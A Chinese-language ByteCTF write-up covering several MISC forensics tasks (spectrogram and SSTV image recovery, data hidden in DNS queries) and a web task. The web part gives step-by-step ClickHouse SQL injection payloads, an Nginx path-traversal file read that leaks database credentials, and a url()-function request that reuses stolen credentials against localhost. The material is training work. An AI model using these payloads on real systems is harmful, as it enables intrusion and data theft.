文章目录
- MISC-Checkin
- MISC-Survey
- MISC-HearingNotBelieving
- MISC-frequently
- WEB-double sqli
MISC题目附件自取
链接：https://pan.baidu.com/s/1Fdgdz07eIptzzW4ZFWfwWg
提取码：vujmMISC-Checkin
ByteCTF{Empower_Security_Enrich_Life}MISC-Survey
ByteCTF{h0p3_y0u_Enjoy_our_ch4ll3n9es!}MISC-HearingNotBelieving
hearing.wav使用Audacity打开，查看频谱图在开头发现二维码碎片
截图，用PS拼接，然后转黑白
后面的听的出是SSTV
QSSTV转换，注意勾选上Auto Slant(不勾选转换出来的图片有绿边影响)以及Auto Save
QSSTV会将这些图片存储在/home/用户名/qsstv/rx_sstv/下，montage连起来发现gaps拼不出来；直接PS手拼
然后用PS调了很久颜色也没能扫出来，没办法只能用最笨的办法了，一个一个填
- QRazyBox：https://merricx.github.io/qrazybox/
ByteCTF{m4yB3_U_kn0W_S57V}MISC-frequently
frequently.pcap DNS流量为主，追踪UDP流量时发现第一个流：udp.stream eq 1，每部分只有这个位置变了，存在部分flag，
se1f_wIth_m1sc^_^}继续分析DNS包，发现以源IP10.2.173.238向目标IP8.8.8.8发送长度为84的包中Queries->Name字段中有一部分base64
dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==24
解压了前面一部分发现时PNG头，Tshark提取；需要注意的是有些部分重复了，重复的包dns.id字段的值是相同的PS：字段名称可以通过选中该字段，右键->复制->字段名称，复制出该字段的名称，用于过滤器命令使用
Tshark提取，然后利用Python去重、转PNG简单处理即可
tshark -r frequently.pcap -T fields -Y "dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==24" -e dns.qry.name -e dns.id > data.txtfrom base64 import *
with open('data.txt', 'r') as f:
lines = f.readlines()
sorted_lines = sorted(set(lines), key=lines.index)
base64_data = ''
for line in sorted_lines:
base64_data += line[:10]
with open('flag.png', 'wb') as f1:
f1.write(b64decode(base64_data))
得到的图片也没有flag信息，继续分析；发现以源IP10.2.173.238向目标IP8.8.8.8发送长度为75的包中Queries->Name字段值要么是o.bytedanec.top要么是i.bytedanec.top，猜测二进制数据转字符
Tshark提取，然后Python简单处理即可，注意也需要去重
tshark -r frequently.pcap -T fields -Y "dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==15" -e dns.qry.name -e dns.id > bin_data.txtwith open("bin_data.txt", 'r') as f:
lines = f.readlines()
sorted_list = sorted(set(lines), key=lines.index)
bin_data = ''
for line in sorted_list:
if line[:1] == 'o':
bin_data += '0'
elif line[:1] == 'i':
bin_data += '1'
else:
print(line)
break
flag = ''
for idx in range(0, len(bin_data), 8):
flag += chr(int(bin_data[idx:idx+8], 2))
print(flag)PS C:\Users\Administrator\Downloads> python .\code.py
The first part of flag: ByteCTF{^_^enJ0y&y0ur最终flag拼接起来即为：
ByteCTF{^_^enJ0y&y0urse1f_wIth_m1sc^_^}WEB-double sqli
随便加个单引号报错，从报错信息中得知数据库是clickhouse
Clickhouse官方文档(中文)：https://clickhouse.com/docs/zh/
Clickhouse本地测试环境搭建：
测试注入点：
/?id=1 union all select 'mochu7'
查版本
/?id=1 union all select version()
查数据库
Clickhouse自带了两个库：default、systemdefault库默认是空的，重要的是system库，类似mysql中的information_schema库，存放了很多数据库系统信息
/?id=1 union all select name from system.databases
查询到的数据库：default、ctf 接着查表
/?id=1 union all select name from system.tables where database='ctf'
/?id=1 union all select name from system.tables where database='default'
查字段
/?id=1 union all select name from system.columns where table='hello'
/?id=1 union all select name from system.columns where table='hint'
查数据内容
/?id=1 union all select ByteCTF from default.hello
/?id=1 union all select id from ctf.hint
提示是没有权限得到flag，根据提示尝试查flag表
/?id=1 union all select * from ctf.flag
发现没有权限访问，但是可以知道存在ctf.flag这张表；需要获得更高的权限
继续分析
?id=0发现一个链接，存在指定目录可浏览
且是Web服务器是Nginx
联想到了Nginx经典配置的其中之一：off-by-slash配置错误
- 五个常见的Nginx配置错误
http://39.105.175.150:30001/files../造成目录浏览，发现了源码
main.py
from flask import Flask
import clickhouse_driver
from flask import request
app = Flask(__name__)
client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')
@app.route('/')
def cttttf():
id = request.args.get('id',0)
sql = 'select ByteCTF from hello where 1={} '.format(id)
try:
a = client.execute(sql)
except Exception as e:
return str(e)
if len(a) == 0:
return '<a href="/files/test.jpg">something in files</a>'
else:
return str(a)[3:-4]
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=80)得到一个用户和密码：user_02/e4649b934ca495991b78 那么接下来就要想办法获取更高的权限用户
- ClickHouse学习系列之六【访问权限和账户管理】
得到存储账户的文件位置：/var/lib/clickhouse/access
3349ea06-b1c1-514f-e1e9-c8d6e8080f89.sql
ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;得到了账户密码user_01/e3b0c44298fc1c149afb 接下来就是想办法登录这个账户，细心的翻一下官方文档
- https://clickhouse.com/docs/zh/interfaces/http/#predefined_http_interface
- https://clickhouse.com/docs/zh/sql-reference/table-functions/url/
即可构造
>>> from urllib.parse import *
>>> quote("1 UNION ALL select * from url('http://localhost:8123/?query=select+*+from+ctf.flag&user=user_01&password=e3b0c44298fc1c149afb','CSV','column1 String')")
'1%20UNION%20ALL%20select%20%2A%20from%20url%28%27http%3A//localhost%3A8123/%3Fquery%3Dselect%2B%2A%2Bfrom%2Bctf.flag%26user%3Duser_01%26password%3De3b0c44298fc1c149afb%27%2C%27CSV%27%2C%27column1%20String%27%29'/?id=1%20UNION%20ALL%20select%20%2A%20from%20url%28%27http%3A//localhost%3A8123/%3Fquery%3Dselect%2B%2A%2Bfrom%2Bctf.flag%26user%3Duser_01%26password%3De3b0c44298fc1c149afb%27%2C%27CSV%27%2C%27column1%20String%27%29
